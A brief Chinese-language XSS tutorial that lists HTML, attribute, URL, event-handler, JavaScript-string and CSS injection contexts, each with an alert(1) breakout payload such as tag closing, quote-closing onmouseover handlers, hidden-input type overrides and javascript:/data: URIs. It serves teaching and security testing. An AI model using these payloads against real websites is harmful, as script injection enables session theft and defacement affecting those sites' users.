0x01 HTML标签之间
例如输出点:
<div id="body">[输出]</div>
直接提交<script>alert(1)</script>即可触发XSS,但是当标签是不能执行脚本的标签(总结http://www.jianshu.com/p/211f75b73520),那么就得先把那个标签闭合,然后在注入XSS语句,例如
</textarea><script>alert(1)</script>
0x02 HTML标签之内
例如输入点:
<input type="text" value="[输出]"/>
两种方法:
- 闭合属性,然后用on时间来触发脚本
" onmouseover=alert(1) x="
- 闭合属性后闭合标签,然后直接执行脚本
"><script>alert(1)</script>
还有一些特殊的场景:
<input type="hiden" value="[输出]" />
这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本
<input value="[输出点]" type="hidden"/>
但是这里可以输入
1" onmouseover=alert(1) type="text
输出变为
<input value="1" onmouseover=alert(1) type="text" type="hidden" />
这时候的输出就不再是隐藏表单了,而是标准输入框
再比如这两类场景:
- 输出在src/href/action等属性内,比如
<a href="[输出]">click me </a>
除了各种闭合标签外,还可以
javascript:alert(1)//
data:text/html;base64,(base64字符串)
前提是我们提交的payload必须出现在这些属性值的开头部分(data:协议的必须作为整个属性值出现,IE不支持)
对于javascript:alert(1)//来说,如果网站把注释符//过滤了,那么我们还可以用javascript逻辑与算数运算符,因为JavaScript是弱类型语言,字符串与字符串之间的各种运算是合法的,可以用
<a href="javascript:alert(1) - html">click me</a>
window.onerror=function(){return true;} //抑制错误
- 输出在on*事件内,比如<a href="#" onclick="[输出]">click me</a>
on*事件是可以执行javascript脚本的。
0x03 成为Javascript代码的值
例如
<script>a="[输出]";...</script>
此时我们可以闭合标签</script><script>alert(1)//
也可以闭合a变量的值";alert(1);//
0x04 成为CSS代码的值
打开就是利用expression关键词来执行脚本